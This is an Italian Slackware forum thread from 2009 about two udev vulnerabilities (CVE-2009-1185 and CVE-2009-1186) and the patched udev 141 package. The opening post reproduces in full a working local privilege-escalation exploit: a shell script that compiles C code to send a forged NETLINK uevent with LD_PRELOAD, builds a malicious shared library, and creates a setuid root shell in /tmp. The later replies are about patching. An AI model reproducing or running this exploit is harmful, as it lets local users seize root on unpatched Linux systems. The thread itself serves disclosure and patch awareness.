Repository 32bit  Forum
Repository 64bit  Wiki

Vulnerabilità di udev

Postate qui per tutte le discussioni legate alla sicurezza di Linux/Slackware

Moderatore: Staff

Regole del forum
1) Citare sempre la versione di Slackware usata, la versione del Kernel e magari anche la versione della libreria coinvolta. Questi dati aiutano le persone che possono rispondere.
2) Specificare se discussione/suggerimento o richiesta d'aiuto.
3) Leggere attentamente le risposte ricevute.
4) Scrivere i messaggi con il colore di default, evitare altri colori.
5) Scrivere in Italiano o in Inglese, se possibile grammaticalmente corretto, evitate stili di scrittura poco chiari, quindi nessuna abbreviazione tipo telegramma o scrittura stile SMS o CHAT.
6) Appena registrati è consigliato presentarsi nel forum dedicato.

La non osservanza delle regole porta a provvedimenti di vari tipo da parte dello staff, in particolare la non osservanza della regola 5 porta alla cancellazione del post e alla segnalazione dell'utente. In caso di recidività l'utente rischia il ban temporaneo.

Vulnerabilità di udev

Messaggioda syaochan » lun apr 20, 2009 11:39

Salve, volevo segnalare questo:
Sebastian Kramer discovered two vulnerabilities in udev, the /dev and hotplug management daemon.
* CVE-2009-1185
udev does not check the origin of NETLINK messages, allowing local users to gain root privileges.
* CVE-2009-1186
udev suffers from a buffer overflow condition in path encoding, potentially allowing arbitrary code execution.


E l'exploit:
http://www.derkeiler.com/Mailing-Lists/ ... 00204.html
Codice: Seleziona tutto
#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang

cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>

#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif

#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0

int socket_fd;
struct sockaddr_nl address;
struct msghdr messaggio;
struct iovec iovector;
int sz = 64*1024;

main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];

sprintf(event, "add");
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");

memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;

messaggio.msg_name = (void*)&address;
messaggio.msg_namelen = sizeof(address);
messaggio.msg_iov = &iovector;
messaggio.msg_iovlen = 1;

socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));

char message[LONG_STRING];
char *mp;

mp = message;
mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
mp += sprintf(mp, "ACTION=%s", event) +1;
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
mp += sprintf(mp, "MAJOR=%s", major) +1;
mp += sprintf(mp, "MINOR=%s", minor) +1;
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;

iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);

char *buf;
int buflen;
buf = (char *) &messaggio;
buflen = (int)(mp-message);

sendmsg(socket_fd, &messaggio, 0);

close(socket_fd);

sleep(10);
execl("/tmp/suid", "suid", (void*)0);
}

_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
Avatar utente
syaochan
Linux 2.6
Linux 2.6
 
Messaggi: 659
Iscritto il: sab mag 08, 2004 23:00
Nome Cognome: Christian
Slackware: current 64
Kernel: 2.6.38.7
Desktop: KDE 4.5.5

Re: Vulnerabilità di udev

Messaggioda Meskalamdug » lun apr 20, 2009 13:54

Grazie,non hanno rilasciato nessuna toppa
ancora?
Meskalamdug
Iper Master
Iper Master
 
Messaggi: 3585
Iscritto il: gio mag 13, 2004 23:00

Re: Vulnerabilità di udev

Messaggioda conraid » lun apr 20, 2009 14:00

Meskalamdug ha scritto:Grazie,non hanno rilasciato nessuna toppa
ancora?


certo, udev 141
Avatar utente
conraid
Staff
Staff
 
Messaggi: 12016
Iscritto il: mer lug 13, 2005 23:00
Località: Livorno
Nome Cognome: Corrado Franco
Slackware: current

Re: Vulnerabilità di udev

Messaggioda Bart » lun apr 20, 2009 22:21

conraid ha scritto:
Meskalamdug ha scritto:Grazie,non hanno rilasciato nessuna toppa
ancora?


certo, udev 141
MMM, mi sa che intendeva come slackware security advisories... :roll:
Bart
Staff
Staff
 
Messaggi: 4248
Iscritto il: dom ago 08, 2004 23:00
Località: Rimini

Re: Vulnerabilità di udev

Messaggioda ponce » mar apr 21, 2009 7:48

e' stato abbastanza veloce, eccolo ;)
Avatar utente
ponce
Master
Master
 
Messaggi: 1500
Iscritto il: mer mar 05, 2008 16:45
Località: Pisa
Nome Cognome: Matteo Bernardini
Slackware: slackware64-current
Kernel: 3.17-rc3
Desktop: lxde

Re: Vulnerabilità di udev

Messaggioda conraid » mar apr 21, 2009 10:05

A me i vari exploit trovati in rete non hanno funzionato, ed a leggere su internet anche ad altri slackers.

p.s.
ho /tmp senza permessi particolari
Avatar utente
conraid
Staff
Staff
 
Messaggi: 12016
Iscritto il: mer lug 13, 2005 23:00
Località: Livorno
Nome Cognome: Corrado Franco
Slackware: current

Re: Vulnerabilità di udev

Messaggioda phobos3576 » mer apr 22, 2009 15:19

Attenzione perché Pat ha reso disponibile una nuova versione (2) del package udev 141; la precedente 141-1 provocava qualche problema (Fixed a regression with serial/dialout device ownership).
Avatar utente
phobos3576
Staff
Staff
 
Messaggi: 2980
Iscritto il: sab apr 16, 2005 23:00
Slackware: 13.1
Kernel: 2.6.37-smp
Desktop: KDE 4.5.3

Re: Vulnerabilità di udev

Messaggioda albatros » gio apr 23, 2009 11:22

@phobos3576
Grazie! :thumbright:
Avatar utente
albatros
Iper Master
Iper Master
 
Messaggi: 2056
Iscritto il: sab feb 04, 2006 13:59
Località: 43°52' N 11°32' E
Slackware: current 64bit
Kernel: 3.8.4
Distribuzione: ubuntu 12.04

Re: Vulnerabilità di udev

Messaggioda Blallo » gio apr 23, 2009 11:34

updated!
Io sono il detective Arsenio Magret, e porto sempre la camicia TATUATA!
Avatar utente
Blallo
Packager
Packager
 
Messaggi: 3226
Iscritto il: ven ott 12, 2007 10:37
Località: Torino / Torremaggiore (FG)
Nome Cognome: Savino Liguori
Slackware: 14.1 / 12.2
Kernel: 3.12.2-ck
Desktop: Openbox


Torna a Sicurezza

Chi c’è in linea

Visitano il forum: Nessuno e 0 ospiti

cron